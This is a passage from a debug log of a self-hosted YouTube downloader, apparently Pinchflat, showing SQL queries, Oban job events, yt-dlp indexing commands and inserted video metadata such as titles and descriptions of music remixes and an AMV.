19:05:21Z], 4] 22:20:47.724 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:47.726 [debug] QUERY OK source="media_metadata" db=0.4ms idle=0.2ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [169] 22:20:47.726 [debug] QUERY OK source="settings" db=0.5ms queue=0.2ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.054 [debug] QUERY OK source="media_metadata" db=328.5ms idle=0.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [176] 22:20:48.055 [debug] QUERY OK source="media_profiles" db=140.7ms queue=188.3ms idle=0.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:48.055 [debug] QUERY OK source="media_items" db=329.6ms idle=0.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈\n\n💀 MEME VERSION – this viral classic just turned into a DARK RAVE WEAPON\nYou know the meme… but NOT like this.\n\n🎬 Original meme by @slackcircus ❤❤\n\nListen here: https://on.soundcloud.com/xCpkmyDwyEuJyb5OWo\n\n🔊 Expect:\n\n* heavy industrial kicks\n* distorted bass\n* aggressive techno drop\n* cursed meme energy\n\n🎧 Perfect for:\ngym, rave, underground parties, late night drives\n\n👇 If you stayed for the drop… you're one of us.\n\n#hardtechno #industrialtechno #memeremix #technoremix #rave #darktechno #viral #tiktoktechno #2026 \n\nheyyeyaaeyaaa remix, meme techno remix, hard techno meme, industrial techno remix 2026, viral meme remix, rave techno, dark techno, techno remix, gym techno, underground techno, distorted techno, tiktok techno, hard rave, cursed remix, slackcircus meme", "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈", "eb3dc9fb-a4f3-4672-8469-3d145e804df5", false, "4f62aPr49gE", 203, false, "https://www.youtube.com/watch?v=4f62aPr49gE", 3, "/downloads/Grift/Grift/2026-04-12HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈[4f62aPr49gE].m4a", false, false, 4, [], 1, ~U[2026-04-12 19:05:21Z], ~U[2026-07-24 02:20:47Z], ~U[2026-07-24 02:20:47Z], "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈\n\n💀 MEME VERSION – this viral classic just turned into a DARK RAVE WEAPON\nYou know the meme… but NOT like this.\n\n🎬 Original meme by @slackcircus ❤❤\n\nListen here: https://on.soundcloud.com/xCpkmyDwyEuJyb5OWo\n\n🔊 Expect:\n\n* heavy industrial kicks\n* distorted bass\n* aggressive techno drop\n* cursed meme energy\n\n🎧 Perfect for:\ngym, rave, underground parties, late night drives\n\n👇 If you stayed for the drop… you're one of us.\n\n#hardtechno #industrialtechno #memeremix #technoremix #rave #darktechno #viral #tiktoktechno #2026 \n\nheyyeyaaeyaaa remix, meme techno remix, hard techno meme, industrial techno remix 2026, viral meme remix, rave techno, dark techno, techno remix, gym techno, underground techno, distorted techno, tiktok techno, hard rave, cursed remix, slackcircus meme", "HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈", "4f62aPr49gE", 203, false, "https://www.youtube.com/watch?v=4f62aPr49gE", "/downloads/Grift/Grift/2026-04-12HEYYEYAAEYAAAEYAEYAA… but it's HARD INDUSTRIAL TECHNO 😈[4f62aPr49gE].m4a", false, 4, ~U[2026-04-12 19:05:21Z]] 22:20:48.055 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.3ms idle=328.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:48.201 [debug] QUERY OK source="tasks" db=146.0ms queue=0.4ms idle=0.7ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [221, 356, ~U[2026-07-24 02:20:48Z], ~U[2026-07-24 02:20:48Z]] 22:20:48.202 [debug] QUERY OK source="media_items" db=0.4ms idle=0.3ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 22:20:48.202 [debug] QUERY OK source="media_items" db=0.0ms idle=0.1ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 22:20:48.235 [debug] QUERY OK source="media_profiles" db=180.1ms queue=0.1ms idle=0.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:48.236 [debug] QUERY OK source="settings" db=180.5ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.236 [debug] QUERY OK source="sources" db=180.4ms idle=0.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:48.236 [debug] QUERY OK source="settings" db=180.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.240 [info] Sent 200 in 1136ms 22:20:48.241 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:48.241 [debug] Running yt-dlp command for action: get_downloadable_status 22:20:48.493 [debug] QUERY OK source="tasks" db=118.6ms idle=136.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [222, 5, ~U[2026-07-24 02:20:48Z], ~U[2026-07-24 02:20:48Z]] 22:20:48.635 [info] {"args":{"force":true,"id":5},"id":180,"meta":{},"state":"success","max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","duration":62562666,"event":"job:stop","queue_time":1088954,"attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:20:48.800 [info] {"args":{"force":true,"id":1},"id":201,"meta":{},"system_time":1784859648800083374,"max_attempts":20,"queue":"media_collection_indexing","worker":"Pinchflat.SlowIndexing.MediaCollectionIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","media_collection_indexing","show_in_dashboard"]} 22:20:48.871 [debug] QUERY OK source="media_profiles" db=631.6ms queue=0.9ms idle=2.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:48.871 [debug] QUERY OK source="settings" db=630.1ms idle=5.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.872 [debug] QUERY OK source="settings" db=630.6ms idle=5.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.872 [debug] QUERY OK source="sources" db=71.6ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:48.873 [debug] QUERY OK source="media_items" db=1.2ms queue=0.5ms idle=0.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [107] 22:20:48.874 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Porque no hay imposibles para la musica, Les traigo este mix que hice de este epico tema espero sea de su agrado.\nNo olviden compartir en sus redes y dar Like Saludos.", "duration" => 204, "filename" => "/downloads/Grift/Grift/2017-02-19Regular Show Gary vs David BEST Clean Extended Mix[EaCUyNQWY2M].m4a", "id" => "EaCUyNQWY2M", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=EaCUyNQWY2M", "playlist_index" => 4, "timestamp" => 1487469896, "title" => "Regular Show Gary vs David BEST Clean Extended Mix", "upload_date" => "20170219"} 22:20:48.874 [debug] QUERY OK source="settings" db=1.3ms queue=0.4ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.874 [debug] QUERY OK source="settings" db=1.4ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.875 [debug] QUERY OK source="settings" db=1.0ms queue=0.5ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.875 [debug] QUERY OK source="settings" db=0.8ms queue=0.1ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.876 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=-qTzjBAeTCQ --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/04/51/045183f6dab07ad9d69851ac03f4fcd7c302c1c07a2daf0c6908beba2073e233.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:48.877 [debug] QUERY OK source="sources" db=2.1ms queue=0.2ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:48.877 [debug] QUERY OK source="settings" db=1.9ms queue=0.4ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.877 [debug] QUERY OK source="media_items" db=2.1ms idle=0.6ms SELECT count(*) FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:48.877 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=kT3eHvwlytw --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/53/4c/534cb51ec39de18e94e88af5ca3cc5070a9ffb9b79a38ab93a568d31c9aa8773.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:48.877 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:48.878 [debug] QUERY OK source="media_items" db=0.3ms idle=1.9ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:48.878 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-02-19 02:04:56Z], 4] 22:20:48.878 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:48.879 [debug] QUERY OK source="settings" db=0.4ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:48.879 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 22:20:48.879 [debug] Current batch of media processed. Will check again in 1000ms 22:20:49.072 [debug] QUERY OK source="media_items" db=193.8ms idle=0.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Porque no hay imposibles para la musica, Les traigo este mix que hice de este epico tema espero sea de su agrado.\nNo olviden compartir en sus redes y dar Like Saludos.", "Regular Show Gary vs David BEST Clean Extended Mix", "b860b8c4-4b9a-47fa-8b89-b9c521d53a6b", false, "EaCUyNQWY2M", 204, false, "https://www.youtube.com/watch?v=EaCUyNQWY2M", 4, "/downloads/Grift/Grift/2017-02-19Regular Show Gary vs David BEST Clean Extended Mix[EaCUyNQWY2M].m4a", false, false, 4, [], 1, ~U[2017-02-19 02:04:56Z], ~U[2026-07-24 02:20:48Z], ~U[2026-07-24 02:20:48Z], "Porque no hay imposibles para la musica, Les traigo este mix que hice de este epico tema espero sea de su agrado.\nNo olviden compartir en sus redes y dar Like Saludos.", "Regular Show Gary vs David BEST Clean Extended Mix", "EaCUyNQWY2M", 204, false, "https://www.youtube.com/watch?v=EaCUyNQWY2M", "/downloads/Grift/Grift/2017-02-19Regular Show Gary vs David BEST Clean Extended Mix[EaCUyNQWY2M].m4a", false, 4, ~U[2017-02-19 02:04:56Z]] 22:20:49.118 [debug] QUERY OK source="settings" db=238.4ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:49.118 [debug] QUERY OK source="settings" db=0.2ms idle=239.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:49.118 [debug] QUERY OK source="sources" db=0.4ms idle=239.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:49.118 [debug] QUERY OK source="settings" db=0.2ms idle=239.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:49.119 [debug] QUERY OK source="media_profiles" db=0.2ms idle=46.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:49.119 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://m.youtube.com/playlist?list=PL_trH6zRu85NAi_KMABvQWpQ0gKmrj7QY --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/Nightcore/Nightcore/%(upload_date>%Y-%m-%d)S%(title)S[%(id)S].%(ext)S --extract-audio --format-sort +acodec:m4a --audio-format best --format bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/50/0e/500e29e875d53c6600c2d9d813be5d2fcbf56b77122fdc005e0ca66c1d1d9f19.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 22:20:49.119 [debug] QUERY OK source="media_items" db=0.2ms idle=0.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [108] 22:20:49.119 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "NOW OVER 100K VIEWS!! IS THIS STILL REAL LIFE?! THIS IS MY FIRST AND ONLY VIDEO TO REACH THIS COUNT! THANKS FOR THE VIEWERSHIP EVERYONE!!!!! \\o/\n\n**DISCLAIMER** This AMV is made with non-profit and does not represent another company. I do not own the copyrights to the \"video clips\" or the \"music\" in the video!\n\nOPENING STRONG IN 2017!!!! Finally back in business baby!!\n\nAnd for real, if you see the Artist; Perturbator, tell him/her that I got his/her official music video right here!\n\nI fucking, love, this song. Who would have thought that finishing Wolfenstein - The New Order on a Friday morning could lead me to wonderful musical discoveries on the You Tubes?! I mean, I also discovered that Kirsten Dunst made a music video waaaaaaay back in 2010!!! Who woulda thought that eh?\n\nI must have listened to this tune 4,000 times upon discovery last weekend. I consider it to be amongst the best songs I have heard in my entire life and it immediately inspired me to make an AMV with it. Fellow 1980s born peeps will instantly recognise my use of the setting of Bubble Gum Crisis 2033 (not 2040, we do not ever mention that abomination). Out of all the episodes, I made use of the tale of \"Revenge Road\", which I thought goes very well with Perturbator's \"Venger\" theme. I may have altered the natural plot of the anime to fit the song's narrative but I reckon it's worth it. So yeah, please enjoy this video. I already consider it one of my all time best.\n\nPS: I love Greta Link's voice. Whouuuuuuuuuu!! XD\n\nPreceded by:\n\nMardock Scramble Vs Overseer - Sparks\nhttps://www.youtube.com/watch?v=v4SJq_S44b0\n\nMy AMV 